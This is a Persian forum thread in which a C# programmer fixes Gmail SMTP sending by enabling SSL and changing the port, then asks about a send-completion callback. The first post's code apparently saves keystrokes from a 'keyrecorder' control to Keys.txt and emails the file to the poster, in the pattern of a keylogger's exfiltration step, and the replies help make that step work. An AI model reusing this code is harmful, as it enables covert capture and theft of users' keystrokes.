نمایش نتایج 1 تا 6 از 6

نام تاپیک: مشکل در برقراری ارتباط با mail server (فرستادن ایمیل از کلاینت)

  1. #1
    کاربر تازه وارد آواتار ariyanna
    تاریخ عضویت
    مهر 1386
    محل زندگی
    مشهد
    سن
    37
    پست
    82

    Question مشکل در برقراری ارتباط با mail server (فرستادن ایمیل از کلاینت)

    سلام دوستان من با سی شارپ برنامه می نویسم و نیاز دارم که برنامم دریکی از قسمت های خودش یک mail رو که حاوی اطلاعاتی هست به من بفرسته... من دسترات زیر رو برای این روال نوشتم این دستورات تئوری بسیار عالی هستند اما در عمل مشکلاتی دارم که ممنون می شم کمکم کنین:
    ====================
    private void save_and_send(object sende, EventArgs e)
    {
    user32._if_sent = 1;
    File.WriteAllText(_filepass + "Keys.txt", txt_keyrecorder.Text);
    SmtpClient nw = new SmtpClient();
    nw.Host = "smtp.gmail.com";
    nw.Port = 25;
    nw.Credentials = new NetworkCredential("UsrName_here", "password_here");
    nw.Send("mohammad.taghadosi@gmail.com",
    "Mohammad.Taghadosi@gmail.com", "This Is A Test",
    System.IO.File.ReadAllText(System.IO.Path.GetTempP ath() + "Keys.txt"));
    {

    ====================
    در قسمت file.write فایل حاوی اطلاعات من save شده و با استفاده از دستور smtpclient اقدام به ارسال میل کردم و با استفاده از متد credentials کار login کردن رو انجام دادم ... بعد اقدام به ارسال ایمیل کردم ... اما در عمل من مشکلی دارم و اون این هستش که وقتی اقدام به اسال ایمیل می کنم از طرف Mail Server به من پیغامی بر میگرده با این مضمون :

    The SMTP server requires a secure connection or the client was not authenticated. The server response was: 5.7.0 Must issue a STARTTLS command first.

    این پیغام از طرف سرور gmail بر گشت داده می شه (smtp.gmail.com) و از طرف سرور یاهو (smtp.yahoo.com) نیز یک خطا با همین مضمون برام نمایش داده می شه ، یعنی اینکه من نمی تونم خودم رو دراین میل سرور ها autenticate کنم چرا ؟ چون لابد اول باید یک ارتباط امن برقرار کنم (به گفته ی خود گوگل start tls یا اینکه ssl یا هر چیز دیگه) که بعد از این کار بتونم usrname و passwrd ام رو send کنم واسه سرور چو تو حالت معمولی ظاهرا قبول نمی کنه .... این نظر منه شاید اشتباه می کنم از استادانم خواهش می کنم که کمکم کنن.
    پیشاپیش ممنونم ازتون



  2. #2
    منتظر تایید آدرس ایمیل
    تاریخ عضویت
    بهمن 1386
    محل زندگی
    كشور فرشته گانِ اروپا سوئد
    پست
    368

    Smile نقل قول: مشکل در برقراری ارتباط با mail server (فرستادن ایمیل از کلاینت)


  3. #3
    کاربر دائمی
    تاریخ عضویت
    آذر 1385
    محل زندگی
    تبریز
    پست
    501

    نقل قول: مشکل در برقراری ارتباط با mail server (فرستادن ایمیل از کلاینت)

    enablessl=true;
    از یادت رفته

  4. #4
    کاربر تازه وارد آواتار ariyanna
    تاریخ عضویت
    مهر 1386
    محل زندگی
    مشهد
    سن
    37
    پست
    82

    Thumbs up نقل قول: مشکل در برقراری ارتباط با mail server (فرستادن ایمیل از کلاینت)

    نقل قول نوشته شده توسط behzadk مشاهده تاپیک
    enablessl=true;
    از یادت رفته
    بله درسته و همچنین شماره پورت رو باید به 587 تغییر بدم از دوست اول که جواب دادن خییییییلی ممنونم ... مشکلم حل شد ...بازم ممنونم دوستان

  5. #5
    کاربر تازه وارد آواتار ariyanna
    تاریخ عضویت
    مهر 1386
    محل زندگی
    مشهد
    سن
    37
    پست
    82

    Question نقل قول: مشکل در برقراری ارتباط با mail server (فرستادن ایمیل از کلاینت)

    ببخشید یه سوال دیگه چطور می تونم مشخص کنم که وقتی email ارسال شد کار خاصی رو انجام بدم ؟
    mail.SendCompleted += new SendCompletedEventHandler(mail_SendCompleted);
    .
    .
    .
    .
    void mail_SendCompleted(object sender, AsyncCompletedEventArgs e)
    {
    string id = e.UserState.ToString();
    if (e.Error == null)
    MessageBox.Show("sent...", id.ToString());
    }


    من این رو روش کار کردم اما نشد یعنی ایمیل ارسال می شه اما عبارت داخل if اجرا نمی شه !!! می شه بگید اشکالم کجاست ؟ ممنونم

  6. #6

    نقل قول: مشکل در برقراری ارتباط با mail server (فرستادن ایمیل از کلاینت)

    اين كد تست شده مشكل نداره ،‌امتحان كن:

    private void button1_Click(object sender, EventArgs e)
    {
    MailMessage mail = new MailMessage();
    mail.From = new MailAddress("You@gmail.com", "Your Name");
    mail.To.Add("Other@yahoo.com");
    mail.Subject = "Test Mail";
    mail.Body = "This is a test Mail"";
    SmtpClient smtp = new SmtpClient("Smtp.gmail.Com", 25);
    smtp.UseDefaultCredentials = false;
    smtp.EnableSsl = true;
    smtp.Credentials = new NetworkCredential("You@gmail.com", "password");

    object user_State = mail;

    try
    {
    smtp.SendCompleted += new SendCompletedEventHandler(SmtpClient_OnCompleted);
    smtp.SendAsync(mail, user_State);
    }
    catch (Exception ex)
    {
    MessageBox.Show(ex.Message);
    }




    }
    //--------------------------------------
    public static void SmtpClient_OnCompleted(object sender,AsyncCompletedEventArgs e)
    {
    MailMessage mail = (MailMessage)e.UserState;
    if (e.Error != null)
    MessageBox.Show(e.Error.ToString());
    if (!e.Cancelled && e.Error == null)
    MessageBox.Show("Sent Mail..."+ mail.Subject);
    }


    البته توضيحات كاملي اينجا داده شده:
    https://barnamenevis.org/showthread.php?t=71785

قوانین ایجاد تاپیک در تالار

  • شما نمی توانید تاپیک جدید ایجاد کنید
  • شما نمی توانید به تاپیک ها پاسخ دهید
  • شما نمی توانید ضمیمه ارسال کنید
  • شما نمی توانید پاسخ هایتان را ویرایش کنید
  •